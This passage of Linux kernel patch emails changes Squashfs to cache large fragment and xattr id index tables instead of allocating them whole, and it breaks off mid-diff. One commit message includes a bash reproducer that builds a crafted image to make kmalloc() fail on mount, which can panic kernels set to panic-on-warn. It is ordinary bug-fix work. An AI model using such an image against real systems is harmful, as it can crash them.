#include "squashfs.h" =20 +s64 squashfs_frag_lookup_start(struct super_block *sb, u32 fragment) +{ + struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s64 start; + + if (msblk->fragment_index_is_cache) { + s32 length =3D squashfs_fragment_indexes_bytes(msblk->fragments); + s32 base =3D squashfs_fragment_indexes_base(fragment); + s32 offset =3D squashfs_fragment_indexes_offset(fragment); + s32 avail =3D min_t(int, length - base, PAGE_SIZE); + struct squashfs_cache_entry *entry; + + start =3D squashfs_fragment_indexes_start(fragment, msblk); + if (start < 0) + return start; + + entry =3D squashfs_cache_get(sb, msblk->fragment_index_cache, + start, avail | SQUASHFS_COMPRESSED_BIT_BLOCK); + if (entry->error < 0) { + int err =3D entry->error; + + squashfs_cache_put(entry); + return err; + } + + start =3D le64_to_cpu(((__le64 *)entry->data[0])[offset >> 3]); + squashfs_cache_put(entry); + } else { + s32 block =3D squashfs_fragment_index(fragment); + + start =3D le64_to_cpu(msblk->fragment_index_array[block]); + } + + if (start < msblk->fragment_table_start || start >=3D msblk->fragment_tab= le) + return -EIO; + + return start; +} + /* * Look-up fragment using the fragment index table. Return the on disk * location of the fragment and its compressed size */ + int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment, u64 *fragment_block, int *fragment_size) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int block, offset, size; + s32 offset, size; struct squashfs_fragment_entry fragment_entry; - u64 start_block; + s64 start; =20 if (fragment >=3D msblk->fragments) return -EIO; - block =3D squashfs_fragment_index(fragment); - offset =3D squashfs_fragment_index_offset(fragment); =20 - start_block =3D le64_to_cpu(msblk->fragment_index[block]); + start =3D squashfs_frag_lookup_start(sb, fragment); + if (start < 0) + return start; =20 - size =3D squashfs_read_metadata(sb, &fragment_entry, &start_block, + offset =3D squashfs_fragment_index_offset(fragment); + size =3D squashfs_read_metadata(sb, &fragment_entry, &start, &offset, sizeof(fragment_entry)); if (size < 0) return size; @@ -57,16 +98,14 @@ int squashfs_frag_lookup(struct super_block *sb, unsign= ed int fragment, *fragment_size =3D le32_to_cpu(fragment_entry.size); return 0; } - - /* * Read the uncompressed fragment lookup table indexes off disk into memory */ -__le64 *squashfs_read_fragment_index_table(struct super_block *sb, +int squashfs_read_fragment_index_table(struct super_block *sb, u64 fragment_table_start, u64 next_table, unsigned int fragments) { - unsigned int length =3D squashfs_fragment_index_bytes(fragments); - __le64 *table; + struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s32 length =3D squashfs_fragment_indexes_bytes(fragments); =20 /* * The computed size of the index table (length bytes) should exactly @@ -74,18 +113,36 @@ __le64 *squashfs_read_fragment_index_table(struct supe= r_block *sb, */ if (fragment_table_start >=3D next_table || length !=3D (next_table - fragment_table_start)) - return ERR_PTR(-EINVAL); + return -EINVAL; =20 - table =3D squashfs_read_table(sb, fragment_table_start, length); + if (length <=3D (PAGE_SIZE * 4)) { + /* Read fragment index into memory */ + __le64 *array =3D squashfs_read_table(sb, fragment_table_start, length); =20 - /* - * table[0] points to the first fragment table metadata block, this - * should be less than fragment_table_start - */ - if (!IS_ERR(table) && le64_to_cpu(table[0]) >=3D fragment_table_start) { - kfree(table); - return ERR_PTR(-EINVAL); + if (IS_ERR(array)) + return PTR_ERR(array); + + /* + * table[0] points to the first fragment table metadata block, this + * should be less than fragment_table_start + */ + if (le64_to_cpu(array[0]) >=3D fragment_table_start) { + kfree(array); + return -EINVAL; + } + + msblk->fragment_index_array =3D array; + msblk->fragment_index_is_cache =3D false; + } else { + /* Use a cache to store the last 16Kbytes of indexes read */ + struct squashfs_cache *cache =3D squashfs_cache_init("fragment index", 4= , PAGE_SIZE); + + if (IS_ERR(cache)) + return PTR_ERR(cache); + + msblk->fragment_index_cache =3D cache; + msblk->fragment_index_is_cache =3D true; } =20 - return table; + return 0; } diff --git a/fs/squashfs/squashfs.h b/fs/squashfs/squashfs.h index 14ccc2776b5c..c4b8ff75ae3c 100644 --- a/fs/squashfs/squashfs.h +++ b/fs/squashfs/squashfs.h @@ -71,8 +71,9 @@ extern s64 squashfs_inode_lookup_start(struct super_block= *sb, u32 ino_num); /* fragment.c */ extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragm= ent, u64 *fragment_block, int *fragment_size); -extern __le64 *squashfs_read_fragment_index_table(struct super_block *, +extern int squashfs_read_fragment_index_table(struct super_block *, u64, u64, unsigned int); +extern s64 squashfs_frag_lookup_start(struct super_block *sb, u32 fragment= ); =20 /* file.c */ void squashfs_copy_cache(struct folio *, struct squashfs_cache_entry *, diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h index d6b5908fff51..77f7085ad2d0 100644 --- a/fs/squashfs/squashfs_fs_sb.h +++ b/fs/squashfs/squashfs_fs_sb.h @@ -59,7 +59,10 @@ struct squashfs_sb_info { struct address_space *cache_mapping; int next_meta_index; __le64 *id_table; - __le64 *fragment_index; + union { + __le64 *fragment_index_array; + struct squashfs_cache *fragment_index_cache; + }; __le64 *xattr_id_table; struct mutex meta_index_mutex; struct meta_index *meta_index; @@ -71,6 +74,8 @@ struct squashfs_sb_info { u64 inode_table; u64 directory_table; u64 directory_table_end; + u64 fragment_table; + u64 fragment_table_start; u64 xattr_table; u64 lookup_table; u64 lookup_table_start; @@ -85,5 +90,6 @@ struct squashfs_sb_info { const struct squashfs_decompressor_thread_ops *thread_ops; int max_thread_num; bool lookup_table_is_cache; + bool fragment_index_is_cache; }; #endif diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index c68ee4afa404..8615228914b9 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -108,11 +108,37 @@ static inline s32 squashfs_fragment_indexes(u32 fragm= ents) SQUASHFS_METADATA_SIZE; } =20 -static inline s32 squashfs_fragment_index_bytes(u32 fragments) +static inline s32 squashfs_fragment_indexes_bytes(u32 fragments) { return squashfs_fragment_indexes(fragments) * sizeof(long long); } =20 +static inline s32 squashfs_fragment_indexes_base(u32 fragments) +{ + return (squashfs_fragment_index(fragments) * sizeof(long long)) & ~(PAGE_= SIZE - 1); +} + +static inline s64 squashfs_fragment_indexes_start(u32 fragments, struct sq= uashfs_sb_info *msblk) +{ + s32 base =3D squashfs_fragment_indexes_base(fragments); + s64 start; + + if (S64_MAX - msblk->fragment_table < base) + return -EINVAL; + + start =3D msblk->fragment_table + base; + + if (start > msblk->bytes_used) + return -EINVAL; + + return start; +} + +static inline s32 squashfs_fragment_indexes_offset(u32 fragments) +{ + return (squashfs_fragment_index(fragments) * sizeof(long long)) & (PAGE_S= IZE - 1); +} + /* inode lookup table defines */ static inline s64 squashfs_lookup_bytes(u32 inodes) { diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c index 8504939f9a8e..287cbc6ad41c 100644 --- a/fs/squashfs/super.c +++ b/fs/squashfs/super.c @@ -185,6 +185,14 @@ static void squashfs_free_inode_table(struct squashfs_= sb_info *msblk) kfree(msblk->inode_lookup_array); } =20 +static void squashfs_free_fragment_indexes(struct squashfs_sb_info *msblk) +{ + if (msblk->fragment_index_is_cache) + squashfs_cache_delete(msblk->fragment_index_cache); + else + kfree(msblk->fragment_index_array); +} + static int squashfs_fill_super(struct super_block *sb, struct fs_context *= fc) { struct squashfs_mount_opts *opts =3D fc->fs_private; @@ -300,6 +308,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) =20 msblk->inode_table =3D le64_to_cpu(sblk->inode_table_start); msblk->directory_table =3D le64_to_cpu(sblk->directory_table_start); + msblk->fragment_table =3D le64_to_cpu(sblk->fragment_table_start); msblk->inodes =3D le32_to_cpu(sblk->inodes); msblk->fragments =3D le32_to_cpu(sblk->fragments); msblk->ids =3D le16_to_cpu(sblk->no_ids); @@ -317,8 +326,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) TRACE("Number of ids %d\n", msblk->ids); TRACE("sblk->inode_table_start %llx\n", msblk->inode_table); TRACE("sblk->directory_table_start %llx\n", msblk->directory_table); - TRACE("sblk->fragment_table_start %llx\n", - (u64) le64_to_cpu(sblk->fragment_table_start)); + TRACE("sblk->fragment_table_start %llx\n", msblk->fragment_table); TRACE("sblk->id_table_start %llx\n", (u64) le64_to_cpu(sblk->id_table_start)); =20 @@ -433,15 +441,19 @@ static int squashfs_fill_super(struct super_block *sb= , struct fs_context *fc) } =20 /* Allocate and read fragment index table */ - msblk->fragment_index =3D squashfs_read_fragment_index_table(sb, - le64_to_cpu(sblk->fragment_table_start), next_table, fragments); - if (IS_ERR(msblk->fragment_index)) { + err =3D squashfs_read_fragment_index_table(sb, msblk->fragment_table, + next_table, fragments); + if (err < 0) { + errorf(fc, "unable to read fragment index table"); + goto failed_mount; + } + + err =3D squashfs_frag_lookup_start(sb, 0); + if (err < 0) { errorf(fc, "unable to read fragment index table"); - err =3D PTR_ERR(msblk->fragment_index); - msblk->fragment_index =3D NULL; goto failed_mount; } - next_table =3D le64_to_cpu(msblk->fragment_index[0]); + next_table =3D msblk->fragment_table_start =3D err; =20 check_directory_table: /* Sanity check directory_table */ @@ -493,7 +505,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) iput(msblk->cache_mapping->host); msblk->thread_ops->destroy(msblk); squashfs_free_inode_table(msblk); - kfree(msblk->fragment_index); + squashfs_free_fragment_indexes(msblk); kfree(msblk->id_table); kfree(msblk->xattr_id_table); kfree(sb->s_fs_info); @@ -613,7 +625,7 @@ static void squashfs_put_super(struct super_block *sb) iput(sbi->cache_mapping->host); sbi->thread_ops->destroy(sbi); kfree(sbi->id_table); - kfree(sbi->fragment_index); + squashfs_free_fragment_indexes(sbi); kfree(sbi->meta_index); squashfs_free_inode_table(sbi); kfree(sbi->xattr_id_table); --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.44 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405448; b=3TyyMQCmUZctY5dj11KLzYUnuTOdlZ0H7GybRybszLYA3WyUxgYBndPLUfRbXuAfApoO 0YzYG8jG6r6k1K9IkxcL3ij8eFApy5Oi+Tjnw8xga6yVhM6ut0t6g2gUsEENW64YQ0Og5 Jgu+GeWieOf6wksn0bnZVt18YmD/uPJqwU4PVhOPMo8aUDiG4GUWHUGLQ5qoPBS9fjEct gSVQE54rP/H1gWWIq6hDe1z4wwKa05OE//b74yjYNehKHlUEjJFoweIkdBy2ooL3gmmUo Q6TOMhA+OWkKU2P4D1W+NdUwTGTrFOPBFO/yk2N9N36U1x2gJDl1YTUZgfhyqMSAqEw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405448; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=72RT40OaXhCYaHSIp8Jr4ac5DhP5yK0LfSmHS1h6B00=; b=avFWBm6PG4VSZ73eVJ/TFzkNdGdJBLGSetnZbBmvwdB/fpDsvimRaIP3r7HwOSbTqEk7 1D3DWh1b+h3Bf2Q7XzNtSrtdxFFL07Wkwb/Weilj+RtSjEncEd0G0KS636qomhVVwOus/ C1nMWiXLCVprmiGTMYV2MTaL3r7BKAxW8hw6UUwNkuCCDfrIx2QB00HaeMtr61F55XGWi 6rp9fOFifqiWfqb3UPxhDRpeEUb7VuYZe1fS/nuYHrs9vQWNAUT3b5tEBjEU6JJHpLKzv FbwGco9gWx0yt++LibrrW0eZdExFtKuaHsFJyMoNfHH/xcJNsq/c+6PHV7rabmQPKjg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=ltpgf13h; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=oNkzDp3a; arc=none smtp.remote-ip=92.204.81.44 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.44]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 7F0A9606A698 for ; Mon, 23 Nov 2026 03:44:07 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 7F0A9606A698 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=ltpgf13h; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=oNkzDp3a Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy9xiqSA; Mon, 23 Nov 2026 03:43:53 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405434; bh=72RT40OaXhCYaHSIp8Jr4ac5DhP5yK0LfSmHS1h6B00=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=ltpgf13hbfhe+552qQByEdf9ekCUxLro6bKGASXyQsofMNNsa7f+dfydj9cx40j7w qztgyTplP8JzaR3ryZ9uIskUAJfWE/CCzUuxyPPgwd7eas4hwktZddS+N88KEes824 /jQdLQyG8MvyEDQDkhT+QV0ksHs804t4I95cHDHC8poht+7HxQ/lmiiAa8HZbICvc8 MWWPXcxxABhS4Qich3rGviIu6qY25EZZYy0aPiEJ5m3XU6nK2FTjZyPo5EjCSI9vtI wtagqxgT/Y6y9qh3OF5gWU9PDmG/D0jAt5JjJT7LCE/vFzYuBKqfahIsChXBJqmK+u kz/b1ehWxguYg== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405434; bh=72RT40OaXhCYaHSIp8Jr4ac5DhP5yK0LfSmHS1h6B00=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=oNkzDp3a5A39xrgfWCuk4F0Wkjchnb2UwGt5E8ptJEl61zNbTLX7brZPGvzuSKg3z XflDCsLF9jjIfVUbYr/UaRO1aYCyQa+Na7QKPIgq+tC8NclAuBifB2JWrWaBqTYQjk tKdGk1eLTMaSXHzm4v7qa3vPAPqFRXEpetcsxkY5gu5HB/DTg2rlSATUy9avBMFzXr RIgu6Kgb7jQQMGj6/QCFQYrpbxH2emq3Ry/y/4PappG8lbS5Oo3Cd9XONwLOpT3+rz MEf00LuPLwetuKpptyANaJfURL5PkB382LhHPJELzLsgQR6wR4rKhp177BEYCs0X+P Y3ugQIlH566OQ== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b67a a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=BjB-n3F9ADh-iJCbTToA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 7c19ae41247f5f82d3f679224c016e3c:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 20/23] Squashfs: don't store large xattr id table indexes in memory Date: Mon, 23 Nov 2026 03:43:01 +0000 Message-ID: <20261123034304.261742-21-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfEMSiCR+dfMie9xKtxBuVJuRCHn5AyNW/KtjRoZPIvc+waIUqVXULDC2o1HpOAsMeuGjlvYyNF13O/fLkSK0qY9ADD/YL9kgUzB1hKCObxiaeNdlQ/V3 KnGtzdGEKa+hQCLog46pi5Q26C5L2DaNIUu6yJxvdsFfIM7bSqqpjyT+aN0I/Vn7qrLOMWrsDC9TZyZU13ZC3b3CZQG1dICxHXKyPvy7fFTi3VobhSMlgt1b GkfVAiT8PRm1AX0ocFFacZ5lwnVyLZTdwPH6KzuVQh0Ukqxui2ATLnIUBVMdwEFi Content-Type: text/plain; charset="utf-8" When mounting a Squashfs filesystem, the code reads the entire xattr id table indexes into memory. Their size is determined by the number of xattr ids in the filesystem, where the maximum number of xattr ids is 2^32, and this will allocate and read 64 MiB. This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic. This commit uses a 4 page cache if the size of the xattr id table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following reproducer will create a Squashfs filesystem with 280 million xattr ids, which will cause the xattr id table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates " ARGS+=3D"-no-exports -no-recovery -no-progress -no-xattr-dups" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } IMG=3D$PWD/reproducer.sqsh DIR=3D$(mktemp -d) if [ -e $IMG ]; then rm $IMG fi pushd $DIR 2>&1 > /dev/null # create 20 million pseudo file links to empty file touch a a=3D0 while [ $a -le 19 ]; do b=3D0 while [ $b -le 999 ]; do c=3D0 while [ $c -le 999 ]; do echo "X/$a/$b/$c l a" >> file echo "X/$a/$b/$c x user.x=3D1" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done for i in $(seq 1 14); do sed "s/X/$i/g" file > pseudo echo echo Iteration $i - appending 20 million files to Squashfs filesystem echo if ! mksquashfs - $IMG -pd "d 0777 0 0" $ARGS; then echo Appending to Squashfs filesystem failed finish fi done popd 2>&1 > /dev/null rm -rf $DIR echo Generated Squashfs filesystem $IMG =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 4b5397dc24ab1 ("squashfs: add xattr id support") Signed-off-by: Phillip Lougher --- v3: - Widen return value of squashfs_xattr_blocks_offset() to s32. v2: - Widen offset in squashfs_xattr_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger. --- fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_sb.h | 8 +- fs/squashfs/squashfs_helpers.h | 29 +++++- fs/squashfs/super.c | 26 +++-- fs/squashfs/xattr.c | 22 +++-- fs/squashfs/xattr.h | 15 ++- fs/squashfs/xattr_id.c | 169 +++++++++++++++++++++++---------- 7 files changed, 198 insertions(+), 73 deletions(-) diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index 15db4ac3fa75..4cf8a41b5859 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -446,7 +446,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) return -EINVAL; } =20 - if (xattr_id !=3D SQUASHFS_INVALID_XATTR && msblk->xattr_id_table) { + if (xattr_id !=3D SQUASHFS_INVALID_XATTR && msblk->xattr_id_array) { err =3D squashfs_xattr_lookup(sb, xattr_id, &squashfs_i(inode)->xattr_count, &squashfs_i(inode)->xattr_size, diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h index 77f7085ad2d0..52ff4f270939 100644 --- a/fs/squashfs/squashfs_fs_sb.h +++ b/fs/squashfs/squashfs_fs_sb.h @@ -63,7 +63,10 @@ struct squashfs_sb_info { __le64 *fragment_index_array; struct squashfs_cache *fragment_index_cache; }; - __le64 *xattr_id_table; + union { + __le64 *xattr_id_array; + struct squashfs_cache *xattr_id_cache; + }; struct mutex meta_index_mutex; struct meta_index *meta_index; void *stream; @@ -79,6 +82,8 @@ struct squashfs_sb_info { u64 xattr_table; u64 lookup_table; u64 lookup_table_start; + u64 xattr_id_table; + u64 xattr_id_table_start; unsigned int block_size; unsigned short block_log; long long bytes_used; @@ -91,5 +96,6 @@ struct squashfs_sb_info { int max_thread_num; bool lookup_table_is_cache; bool fragment_index_is_cache; + bool xattr_id_is_cache; }; #endif diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 8615228914b9..9423d5a0a700 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -241,11 +241,38 @@ static inline s32 squashfs_xattr_blocks(u32 xattrs) SQUASHFS_METADATA_SIZE; } =20 -static inline s32 squashfs_xattr_block_bytes(u32 xattrs) +static inline s32 squashfs_xattr_blocks_bytes(u32 xattrs) { return squashfs_xattr_blocks(xattrs) * sizeof(long long); } =20 +static inline s32 squashfs_xattr_blocks_base(u32 xattrs) +{ + return (squashfs_xattr_block(xattrs) * sizeof(long long)) & ~(PAGE_SIZE -= 1); +} + +static inline s64 squashfs_xattr_blocks_start(u32 xattrs, struct squashfs_= sb_info *msblk) +{ + s32 base =3D squashfs_xattr_blocks_base(xattrs); + s64 table_start =3D msblk->xattr_id_table + sizeof(struct squashfs_xattr_= id_table); + s64 start; + + if (S64_MAX - table_start < base) + return -EINVAL; + + start =3D table_start + base; + + if (start > msblk->bytes_used) + return -EINVAL; + + return start; +} + +static inline s32 squashfs_xattr_blocks_offset(u32 xattrs) +{ + return (squashfs_xattr_block(xattrs) * sizeof(long long)) & (PAGE_SIZE - = 1); +} + static inline u32 squashfs_xattr_blk(s64 xattr) { return xattr >> 16; diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c index 287cbc6ad41c..b7deedb0850f 100644 --- a/fs/squashfs/super.c +++ b/fs/squashfs/super.c @@ -193,6 +193,14 @@ static void squashfs_free_fragment_indexes(struct squa= shfs_sb_info *msblk) kfree(msblk->fragment_index_array); } =20 +static void squashfs_free_xattr_indexes(struct squashfs_sb_info *msblk) +{ + if (msblk->xattr_id_is_cache) + squashfs_cache_delete(msblk->xattr_id_cache); + else + kfree(msblk->xattr_id_array); +} + static int squashfs_fill_super(struct super_block *sb, struct fs_context *= fc) { struct squashfs_mount_opts *opts =3D fc->fs_private; @@ -202,7 +210,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) long long root_inode; unsigned short flags; unsigned int fragments; - u64 xattr_id_table_start, next_table; + u64 next_table; s64 err; int devblksize =3D sb_min_blocksize(sb, SQUASHFS_DEVBLK_SIZE); =20 @@ -376,19 +384,17 @@ static int squashfs_fill_super(struct super_block *sb= , struct fs_context *fc) =20 /* Handle xattrs */ sb->s_xattr =3D squashfs_xattr_handlers; - xattr_id_table_start =3D le64_to_cpu(sblk->xattr_id_table_start); - if (xattr_id_table_start =3D=3D SQUASHFS_INVALID_BLK) { + msblk->xattr_id_table =3D le64_to_cpu(sblk->xattr_id_table_start); + if (msblk->xattr_id_table =3D=3D SQUASHFS_INVALID_BLK) { next_table =3D msblk->bytes_used; goto allocate_id_index_table; } =20 /* Allocate and read xattr id lookup table */ - msblk->xattr_id_table =3D squashfs_read_xattr_id_table(sb, - xattr_id_table_start, &msblk->xattr_table, &msblk->xattr_ids); - if (IS_ERR(msblk->xattr_id_table)) { + err =3D squashfs_read_xattr_id_table(sb, msblk->xattr_id_table, + &msblk->xattr_table, &msblk->xattr_ids); + if (err < 0) { errorf(fc, "unable to read xattr id index table"); - err =3D PTR_ERR(msblk->xattr_id_table); - msblk->xattr_id_table =3D NULL; if (err !=3D -ENOTSUPP) goto failed_mount; } @@ -507,7 +513,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) squashfs_free_inode_table(msblk); squashfs_free_fragment_indexes(msblk); kfree(msblk->id_table); - kfree(msblk->xattr_id_table); + squashfs_free_xattr_indexes(msblk); kfree(sb->s_fs_info); sb->s_fs_info =3D NULL; kfree(sblk); @@ -628,7 +634,7 @@ static void squashfs_put_super(struct super_block *sb) squashfs_free_fragment_indexes(sbi); kfree(sbi->meta_index); squashfs_free_inode_table(sbi); - kfree(sbi->xattr_id_table); + squashfs_free_xattr_indexes(sbi); kfree(sb->s_fs_info); sb->s_fs_info =3D NULL; } diff --git a/fs/squashfs/xattr.c b/fs/squashfs/xattr.c index d7247648ac35..18ab9b67a0e6 100644 --- a/fs/squashfs/xattr.c +++ b/fs/squashfs/xattr.c @@ -30,10 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffe= r, struct inode *inode =3D d_inode(d); struct super_block *sb =3D inode->i_sb; struct squashfs_sb_info *msblk =3D sb->s_fs_info; - u64 start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) - + msblk->xattr_table; - int offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); - unsigned int count =3D squashfs_i(inode)->xattr_count; + u64 start; + int offset; + unsigned int count; size_t rest =3D buffer_size; int err; =20 @@ -41,9 +40,13 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffe= r, if (squashfs_i(inode)->xattr =3D=3D SQUASHFS_INVALID_BLK) return 0; =20 + count =3D squashfs_i(inode)->xattr_count; if (count =3D=3D 0 || count > squashfs_i(inode)->xattr_size) return -EIO; =20 + start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) + msblk->xattr_tab= le; + offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); + /* loop reading each xattr name */ while (count--) { struct squashfs_xattr_entry entry; @@ -111,10 +114,9 @@ static int squashfs_xattr_get(struct inode *inode, int= name_index, { struct super_block *sb =3D inode->i_sb; struct squashfs_sb_info *msblk =3D sb->s_fs_info; - u64 start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) - + msblk->xattr_table; - int offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); - unsigned int count =3D squashfs_i(inode)->xattr_count; + u64 start; + int offset; + unsigned int count; int name_len =3D strlen(name); int err, vsize; char *target; @@ -123,6 +125,7 @@ static int squashfs_xattr_get(struct inode *inode, int = name_index, if (squashfs_i(inode)->xattr =3D=3D SQUASHFS_INVALID_BLK) return -ENODATA; =20 + count =3D squashfs_i(inode)->xattr_count; if (count =3D=3D 0 || count > squashfs_i(inode)->xattr_size) return -EIO; =20 @@ -130,6 +133,9 @@ static int squashfs_xattr_get(struct inode *inode, int = name_index, if (target =3D=3D NULL) return -ENOMEM; =20 + start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) + msblk->xattr_tab= le; + offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); + /* loop reading each xattr name */ for (; count; count--) { struct squashfs_xattr_entry entry; diff --git a/fs/squashfs/xattr.h b/fs/squashfs/xattr.h index b33e9ad4057f..799b328b0e6c 100644 --- a/fs/squashfs/xattr.h +++ b/fs/squashfs/xattr.h @@ -9,25 +9,26 @@ */ =20 #ifdef CONFIG_SQUASHFS_XATTR -extern __le64 *squashfs_read_xattr_id_table(struct super_block *, u64, +extern int squashfs_read_xattr_id_table(struct super_block *, u64, u64 *, unsigned int *); extern int squashfs_xattr_lookup(struct super_block *, unsigned int, unsigned int *, unsigned int *, unsigned long long *); +extern s64 squashfs_xattr_lookup_start(struct super_block *sb, u32 index); #else -static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb, +static inline int squashfs_read_xattr_id_table(struct super_block *sb, u64 start, u64 *xattr_table_start, unsigned int *xattr_ids) { struct squashfs_xattr_id_table *id_table; =20 id_table =3D squashfs_read_table(sb, start, sizeof(*id_table)); if (IS_ERR(id_table)) - return (__le64 *) id_table; + return PTR_ERR(id_table); =20 *xattr_table_start =3D le64_to_cpu(id_table->xattr_table_start); kfree(id_table); =20 ERROR("Xattrs in filesystem, these will be ignored\n"); - return ERR_PTR(-ENOTSUPP); + return -ENOTSUPP; } =20 static inline int squashfs_xattr_lookup(struct super_block *sb, @@ -36,6 +37,12 @@ static inline int squashfs_xattr_lookup(struct super_blo= ck *sb, { return 0; } + +static inline s64 squashfs_xattr_lookup_start(struct super_block *sb, u32 = index) +{ + return 0; +} + #define squashfs_listxattr NULL #define squashfs_xattr_handlers NULL #endif 